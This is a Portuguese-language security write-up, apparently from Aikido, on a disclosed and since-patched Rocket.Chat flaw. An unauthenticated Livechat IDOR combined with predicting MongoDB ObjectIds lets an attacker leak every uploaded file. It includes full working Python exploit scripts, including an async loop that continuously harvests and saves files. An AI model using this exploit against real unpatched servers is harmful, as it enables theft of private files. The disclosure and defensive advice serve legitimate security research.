Previsão contínua de MongoDB ObjectId no Rocket.Chat

Aplicações que usam MongoDB têm uma armadilha comum de tratar a ObjectId() função como criptograficamente segura. Recentemente, descobrimos que Rocket.Chat, uma aplicação open source similar ao Slack, foi vítima disso. No Aikido, executamos AI Pentests em várias aplicações open source para testar nossos agentes e identificar seus pontos fortes e de melhoria. Durante o pentest, um dos agentes relatou que um usuário não autenticado do Rocket.Chat pode acessar qualquer arquivo carregado se souber seu ID. O ID é gerado com o do MongoDB ObjectId() e parece aleatório à primeira vista, mas quando você olha mais a fundo, eles estão longe de ser!

Nesta publicação, demonstraremos como um atacante é capaz de recuperar todos os IDs válidos gerados continuamente. Descreveremos um ataque que sonda o ID atual para prever todos os outros IDs gerados pelo aplicativo. Isso é demonstrado pela captura de cada arquivo carregado em uma instância do Rocket.Chat. O ataque poderia ser aplicado a diferentes aplicativos que utilizam MongoDB com as mesmas primitivas, indo além do Rocket.Chat.

Encontramos e reportamos a falha no Rocket.Chat em 21 de abril via HackerOne (agora divulgada publicamente: #3687142). Em 12 de junho, ela foi corrigida nas versões 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9 e 7.10.13. Se você ou sua organização está hospedando uma instância do Rocket.Chat, atualize para qualquer uma dessas versões ou mais recentes o mais rápido possível, caso ainda não o tenha feito. Por ser um exploit não autenticado, qualquer pessoa com acesso à rede pode explorá-lo.

A Vulnerabilidade

Antes de nos aprofundarmos na técnica de exploit, permita-me explicar mais sobre como o Rocket.Chat funciona.

O principal caso de uso do Rocket.Chat é a comunicação com sua organização e equipe. As conversas são divididas entre canais configuráveis, e os usuários podem compartilhar arquivos além do chat. Para entender a superfície de ataque não autenticada, na configuração padrão, os usuários não podem se auto-registrar e o login é necessário para abrir o aplicativo.

Há também um componente opcional chamado Livechat, que é essencialmente um chat de helpdesk não autenticado. Embora seja opcional, ele é ativado por padrão, mas não é visível a menos que você navegue diretamente para /livechat:

O Livechat permite que os usuários enviem uma mensagem de texto simples para o helpdesk. Além disso, há suporte para upload de arquivos para este widget, mas a entrada está desativada por padrão (então você não pode vê-lo na captura de tela acima). Ainda assim, o endpoint da API para upload de arquivos sem autenticação permanece acessível. Esta é a principal primitiva que usaremos em nosso eventual exploit.

Arquivos carregados em qualquer uma dessas funcionalidades (canais autenticados e Livechat não autenticado) são armazenados no mesmo local: /file-upload/{fileId}. Isso cria algumas complicações na lógica de autorização. Poderíamos abusar de algo no Livechat para ler uploads de canais reais?

Um dos agentes notou algo peculiar em FileUpload.ts. dois diferentes maneiras de definir o Room ID de um arquivo. Primeiramente, a autorização é feita por requestCanAccessFiles que lê rc_rid (rid = Room ID) da query string.

async requestCanAccessFiles({ headers = {}, url }: http.IncomingMessage, file?: IUpload) {
    const { query } = URL.parse(url, true);
    let { rc_uid, rc_token, rc_rid, rc_room_type } = query;
    ...
   const isAuthorizedByRoom = async () =>
        rc_room_type &&
        roomCoordinator
            .getRoomDirectives(rc_room_type)
            .canAccessUploadedFile({ rc_uid: rc_uid || '', rc_rid: rc_rid || '', rc_token: rc_token || '' });

O rc_rid é passado para canAccessUploadedFile juntamente com o rc_token parâmetro para verificar se você tem acesso a essa sala e deve ser capaz de ler o arquivo:

async canAccessUploadedFile({ rc_token: token, rc_rid: rid }) {
    return token && rid && !!(await LivechatRooms.findOneByIdAndVisitorToken(rid, token));
},

Em segundo lugar, há a chamada para FileUpload.requestCanAccessFiles, que obtém o arquivo do /file-upload/{fileId}/… path e o pesquisa diretamente no banco de dados:

WebApp.connectHandlers.use(FileUpload.getPath(), async (req, res, next) => {
    const match = /^\/([^\/]+)\/(.*)/.exec(req.url || '');

    if (match?.[1]) {
        const file = await Uploads.findOneById(match[1]);

        if (file) {
            if (!(await FileUpload.requestCanAccessFiles(req, file))) {

Esta arquivo também tem um rid (Room ID), que pode ser diferente do fornecido rc_rid na URL. O que aconteceria se eles não correspondessem?

A resposta é uma grande vulnerabilidade. O Rocket.Chat não verifica se o arquivo que você está solicitando está dentro da sala para a qual você está verificando o acesso. Isso significa que você pode fornecer qualquer sala fictícia válida e, em seguida, especificar um arbitrário fileId no parâmetro de path para obter seu conteúdo.

Vamos ver na prática. Primeiro, fazemos o upload de qualquer arquivo para um canal como a vítima. Na captura de tela abaixo, o usuário admin fez o upload de file.txt:

Em seguida, copie o link para o arquivo, como:
https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt
Visitar ingenuamente a URL em uma aba anônima retorna um erro 403, então deveria ser privado. Agora, vamos ver se podemos vazá-lo usando a funcionalidade Livechat.

Pegue a fileId parte 6a325394876fbe9c70b1b03f, e vamos requisitar a mesma URL com qualquer usuário anônimo de uma sala do Livechat. Podemos criar uma sessão primeiro registrando-nos como um "visitante" com qualquer valor de token, e então requisitando nosso Room ID. Com este Room ID válido, se nosso exploit funcionar, agora somos capazes de obter qualquer arquivo se soubermos apenas seu fileId. Porque não há nenhuma verificação comparando a sala real do arquivo com nossa sala temporária.

Vamos construir um script Python para nosso exploit final, passo a passo. Começando com a implementação desta ideia:

HOST = "https://rocketchat.local"
FILE_ID = "6a325394876fbe9c70b1b03f"

s = requests.Session()

token = "x"
# Create anonymous visitor with token
s.post(f"{HOST}/api/v1/livechat/visitor", 
       json={"visitor": {"token": token, "name": "attacker", "email": "attacker@example.com"}})
# Get our Room ID
r = s.get(f"{HOST}/api/v1/livechat/room", 
          params={"token": token, "agentId": "rocket.cat"})
rid = r.json()["room"]["_id"]
print(f"{rid=}")  # ceHsTjGSTfvAzWHk2

# Get other file using our Room ID
r = s.get(f"{HOST}/file-upload/{FILE_ID}/x", 
          params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
print(r.text)  # SUPER SECRET DATA
print(r.headers["Content-Disposition"])  # attachment; filename*=UTF-8''file.txt

Vazamos com sucesso o DADOS SUPER SECRETOS dentro de file.txt! Também obtemos o nome de arquivo original no Content-Disposition: cabeçalho, tornando mais fácil descobrir o que o arquivo realmente deveria conter.

Um achado interessante pelo agente, mas que dependia do conhecimento do difícil de adivinhar fileId: 6a325394876fbe9c70b1b03f. Parece um valor aleatório composto por 12 bytes. Mesmo com um milhão de requisições por segundo, você estaria olhando para algumas milhares de vidas do universo antes de esperar seu primeiro acerto. Não é totalmente realista.

Após revisar manualmente mais do código-fonte da aplicação, não encontramos nenhuma maneira de vazar diretamente qualquer um desses IDs de arquivo de outras fontes. Como chegamos a um ID válido?

A primeira dica vem do fato de que este ID é gerado pela ObjectId() função do MongoDB. “Como isso nos ajuda?” você pode perguntar.

MongoDB ObjectId()

Conforme explicado na documentação, um ObjectId é composto por:

• Um timestamp de 4 bytes, representando a criação do ObjectId, medido em segundos desde a época Unix.
• Um valor aleatório de 5 bytes gerado uma vez por processo do lado do cliente. Este valor aleatório é único para a máquina e o processo. Se o processo for reiniciado ou o nó primário do processo mudar, este valor é regenerado.
• Um contador incrementador de 3 bytes por processo do lado do cliente, inicializado com um valor aleatório. O contador é reiniciado quando um processo é reiniciado.

Então um ID como 6a325394876fbe9c70b1b03f pode ser dividido em:

Também afirma:

> Para valores de timestamp e contador, os bytes mais significativos aparecem primeiro na sequência de bytes (big-endian)

Assim, nosso timestamp 6a325394 pode ser decodificado para 17 de junho de 2026 às 9:58:12 AM:

>>> from datetime import datetime
>>> datetime.fromtimestamp(int("6a325394", 16))
datetime.datetime(2026, 6, 17, 9, 58, 12)

O valor do contador b1b03f também é um inteiro big-endian. b1b03f + 1 seria b1b040, o próximo ID. Este contador é inicializado aleatoriamente e reinicia em ffffff para 000000.

Também é bastante óbvio se compararmos dois IDs de arquivo sequenciais agora. Eles estão longe de serem aleatórios.

1. 6a325394876fbe9c70b1b03f
2. 6a325a30876fbe9c70b1b048

Previsão totalmente aleatória

Com essa baixa entropia, pode-se pensar que podemos simplesmente forçar os IDs até encontrarmos um arquivo existente. Embora isso seja em grande parte verdade para o timestamp (só precisamos iterar segundos dos últimos meses), não conhecemos o valor aleatório estático de 5 bytes, e o contador também é inicializado aleatoriamente.

O valor aleatório estático sozinho tem mais de um trilhão de possibilidades (256^5). A uma taxa de 1000 requisições por segundo, você ainda estaria esperando ~18 anos. A essa altura, eu ficaria impressionado se a máquina do seu atacante ainda estivesse funcionando.

Podemos considerar isso impossível.

Previsão a partir de um ponto de ancoragem

A melhor forma de abordar isso é encontrar qualquer ObjectId() saída da aplicação, e então prever os futuros a partir daí. Um "ponto de ancoragem". No Rocket.Chat, felizmente para nós, há uma maneira muito fácil de fazer isso com o recurso Livechat que já estamos usando. Se apenas carregarmos um arquivo anonimamente, obtemos seu ID, que é nossa amostra.

r = s.post(f"{HOST}/api/v1/livechat/upload/{rid}", 
            headers={"x-visitor-token": token}, 
            files={"file": ("probe", b"probe", "text/plain")})
r.raise_for_status()
data = r.json()
probe_id = data["file"]["_id"]
print(f"{probe_id=}")  # 6a325fbf876fbe9c70b1b053

Agora temos duas primitivas necessárias:

1. Algo a que não deveríamos ter acesso é acessível se soubermos seu ObjectId()
2. Temos uma forma de gerar e ler os nossos próprios ObjectId()

Com isso em mãos, podemos ir muito mais longe. Para encontrar arquivos enviados por outros usuários, precisamos pensar no que muda: o timestamp e o contador. O timestamp teremos que decrementar em segundos até o tempo desejado. Mas, no caso do contador, não sabemos realmente o quanto decrementá-lo, pois outras funcionalidades podem gerar ObjectId()também, pulando certos valores para os IDs de arquivo que procuramos.

Ao simplesmente adivinhar alguns intervalos, já podemos ter bastante sucesso:

# Parse parts of the ObjectId()
timestamp = datetime.fromtimestamp(int(probe_id[0:8], 16))
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
print(f"{timestamp=} {random=} {counter=}")

# Loop through the last 5 minutes of timestamps, and last 20 counters
for delta in tqdm(range(int(timedelta(minutes=5).total_seconds()))):
    for c in range(counter - 20, counter):
        t = timestamp - timedelta(seconds=delta)  # Go backwards
        # Create new potential ObjectId()
        oid = f"{int(t.timestamp()):08x}{random}{c:06x}"
        if oid == probe_id:
            continue  # Skip our own file

        # Try requesting it, if successful, print it
        r = s.get(f"{HOST}/file-upload/{oid}/x", 
            params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.ok:
            tqdm.write(f"{oid}: {r.text!r}")

Se fizermos o upload de um arquivo para o Rocket.Chat e executarmos este script logo em seguida, ele descobrirá o ID e seus dados (iterando pelos últimos 5 minutos + os 20 IDs anteriores no contador). Abaixo está um exemplo da saída que você pode esperar:

probe_id='6a326750876fbe9c70b1b069'
timestamp=datetime.datetime(2026, 6, 17, 11, 22, 24) random='876fbe9c70' counter=11645033
6a326747876fbe9c70b1b068: 'SUPER SECRET DATA'                             
  6%|██▎                                 | 19/300 [00:09<02:36,  1.79it/s]

Embora viável para uma prova de conceito, em um ataque realista você não saberá exatamente quando uma vítima faz o upload de seu arquivo. Uma instância real também pode estar muito mais ocupada do que a nossa local, gerando muitos ObjectId()para outras funcionalidades que deslocam os IDs de arquivo. Precisamos ser mais rápidos e encontrar uma maneira de garantir que atingimos todos os IDs de arquivo sem fazer suposições sobre o timestamp ou o contador.

Encontrando continuamente todos os ObjectId()s

Um grande gargalo atualmente é que estamos solicitando cada ID sincronicamente, um por um. Enquanto esperamos por uma resposta do servidor, não estamos fazendo nada. Ao converter o código para ser assíncrono com uma biblioteca como httpx, podemos gerar múltiplos workers que enviam requisições de uma fila ao mesmo tempo.
Extrairemos o nome do arquivo do Content-Disposition: cabeçalho ao mesmo tempo, e salvaremos o arquivo em leaks/ localmente com seu nome de arquivo original.

async def get_token(client):
    token = "x"
    r = await client.post(f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "probe", "email": "probe@ex.com"}})
    r.raise_for_status()
    r = await client.get(f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"})
    r.raise_for_status()
    rid = r.json()["room"]["_id"]
    return token, rid

async def oid_worker(client, i, queue, rid, token):
    while True:
        oid = await queue.get()
        print(f"Worker {i} requesting {oid}")
        r = await client.get(f"{HOST}/file-upload/{oid}/x", params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.status_code == 200:
           filename = unquote(r.headers["Content-Disposition"].split("filename*=UTF-8''")[1])
            try:
                content = r.text
            except UnicodeDecodeError:
                content = r.content
            print(f"[LEAK] {oid} ({filename}): {content[:100]!r}")
            with open(f"leaks/{filename.replace('/', '_')}", "wb") as f:
                f.write(r.content)

async def main():
    queue = asyncio.Queue()
    num_workers = 10

    async with httpx.AsyncClient() as client:
        token, rid = await get_token(client)
        print(f"{rid=}")

        print("Starting producer loop...")
        producer_task = asyncio.create_task(oid_producer(client, queue, rid, token))  # We will implement the producer in a second
        print(f"Starting {num_workers} workers...")
        worker_tasks = [
            asyncio.create_task(oid_worker(client, i, queue, rid, token))
            for i in range(num_workers)
        ]
        await asyncio.gather(producer_task, *worker_tasks)

if __name__ == "__main__":
    asyncio.run(main())

Para garantir que atingimos todos os IDs existentes, podemos usar a diferença entre múltiplas sondas. Se uma sonda anterior viu o contador em 100, e a próxima sonda um pouco depois (ex: 10 segundos) o viu como 122, sabemos que 22 IDs foram gerados nesse meio tempo. O intervalo de timestamp também fica imediatamente claro: 10 segundos. Assim, podemos iterar por 10*22 IDs o mais rápido possível.

Quando terminarmos, podemos enviar outra sonda 10 segundos depois, digamos que o contador esteja em 130. Comparando isso com a sonda anterior de 122, teremos que tentar 8 valores de contador em 10 segundos novamente.
Podemos manter este loop, produzindo lacunas de ID sondando continuamente em curtos intervalos e buscando-os rapidamente usando workers assíncronos.

Visualizado, o algoritmo funciona mais ou menos assim. Em vez de buscar um intervalo completo de 9*26=234 IDs, podemos obter amostras da aplicação para tornar os retângulos que pesquisamos menores. A soma desses intervalos menores de 6+16+45 = 67, muito menor do que o intervalo completo ingênuo.

Mantendo o programa em execução e com requisições rápidas o suficiente, podemos garantir que atingimos todos os IDs de arquivo potenciais.

Na nossa implementação em Python, isso não é difícil de implementar. Basta dividir cada ID de sonda para extrair seu timestamp e contador, e compará-los com o anterior.
Se formos inteligentes, podemos salvar e evitar nossos próprios valores de contador de sonda na busca, pois estes nunca serão os arquivos secretos que procuramos. Um caso de borda a ser observado é que o contador se reinicia de ffffff para 000000 se atingir esse limite, então precisamos usar um módulo para garantir que permaneça dentro de 3 bytes.

PRODUCER_INTERVAL = 10

def split_probe_id(probe_id):
    timestamp = int(probe_id[0:8], 16)
    random = probe_id[8:18]
    counter = int(probe_id[18:24], 16)
    return timestamp, random, counter

def mod_range(start, stop, modulus):
    for i in range((stop - start) % modulus):
        yield (start + i) % modulus

async def oid_producer(client, queue, rid, token):
    prev_probe_id = await get_probe_id(client, rid, token)
    probes = set([split_probe_id(prev_probe_id)[2]])
    await asyncio.sleep(PRODUCER_INTERVAL)
    while True:
        probe_id = await get_probe_id(client, rid, token)
        prev_timestamp, _, prev_counter = split_probe_id(prev_probe_id)
        timestamp, random, counter = split_probe_id(probe_id)
        probes.add(counter)
        i = 0
        for t in range(prev_timestamp, timestamp):
            for c in mod_range(prev_counter, counter, 0x1000000):
                if c in probes:
                    continue  # Skip our own files
                oid = f"{t:08x}{random}{c:06x}"
                await queue.put(oid)
                i += 1
        print(f"Produced {i} IDs")
        prev_probe_id = probe_id
        await asyncio.sleep(PRODUCER_INTERVAL)

Agora, finalmente executando o script, podemos ver em nossa instância local que é bastante monótono enquanto nada acontece. Pulamos nossos próprios IDs e a diferença da sonda anterior é de apenas 1. Até abrirmos o aplicativo e carregarmos um arquivo, em 10 segundos, ele é detectado pelo script de exploit e vazado por um worker que o pegou:

Iniciando loop do produtor...
Iniciando 10 workers...
Produzidos 0 IDs
Produzidos 0 IDs
...
Produzidos 22 IDs
Worker 0 solicitando 6a32774c876fbe9c70b1b112
Worker 1 solicitando 6a32774c876fbe9c70b1b113
...
Worker 3 solicitando 6a327754876fbe9c70b1b113
[VAZAMENTO] 6a32774e876fbe9c70b1b112: 'DADOS SUPER SECRETOS'
Worker 5 solicitando 6a327756876fbe9c70b1b113
Produzidos 0 IDs

Sucesso! Enquanto o script está em execução, estamos agora identificando e vazando cada arquivo carregado na instância do Rocket.Chat. Com as melhorias de velocidade, a instância pode ser usada regularmente sem interromper muito nosso script e, novamente, é uma fila, então se houver muito trabalho, ela acabará se atualizando quando houver menos atividade. Observe que o intervalo de 10 segundos que estamos usando atualmente é completamente arbitrário; quanto menor você o definir, menores serão os intervalos possíveis, de modo que você detectará precisamente quando um arquivo é carregado. Você pode decidir o equilíbrio entre o número de requisições para sondagem versus o número de requisições para força bruta por conta própria.

Assista à prova de conceito neste vídeo:

Principais conclusões

O Rocket.Chat corrigiu o problema de controle de acesso (#40889) passando o arquivo para canAccessUploadedFile(), e verificando se o arquivo escolhido corresponde ao ID da sala que é especificado no parâmetro de consulta.

Como guia geral, para IDs aleatórios, recomendamos não depender de ObjectId(), é quase tão inseguro quanto um ID incremental simples. Como defesa em profundidade, use UUIDv4 para strings aleatórias seguras para garantir que, mesmo com bugs de controle de acesso, um atacante ainda precise de um segundo passo para descobrir os IDs.

Embora nosso agente tenha encontrado com sucesso a vulnerabilidade IDOR, ele inicialmente não mencionou a previsibilidade dos ObjectId()IDs do MongoDB, porque uma única amostra parece aleatória à primeira vista. Com as mudanças que fizemos após esta pesquisa, os agentes agora exploram a entropia de tais IDs para explicar com mais precisão a probabilidade de exploração em relatórios.

Para pesquisadores de segurança e pentesters que buscam melhorar o realismo de seus PoCs de IDOR, agora vocês sabem que podem prever facilmente os IDs do MongoDB. Algo a se observar sempre que tiver dois IDs que pareçam estranhamente semelhantes.

Nossa ferramenta de pentest de IA descobriu isso por conta própria. Se você deseja um pentest de alta qualidade e rápido executado contra sua aplicação, confira a suite de pentest da Aikido.